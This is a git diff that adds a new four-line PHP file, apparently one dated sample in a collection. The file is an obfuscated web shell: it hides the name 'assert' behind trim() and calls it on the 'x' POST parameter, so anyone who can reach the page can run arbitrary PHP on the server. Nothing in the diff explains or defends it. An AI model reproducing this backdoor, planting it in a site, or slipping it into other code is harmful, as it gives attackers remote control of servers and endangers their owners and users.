diff --git a/php/2020.08.20.04.php b/php/2020.08.20.04.php
new file mode 100644
index 0000000..631897a
--- /dev/null
+++ b/php/2020.08.20.04.php
@@ -0,0 +1,4 @@
+<?php 
+    $a = trim(' assert ');
+    $a($_POST['x']);
+?>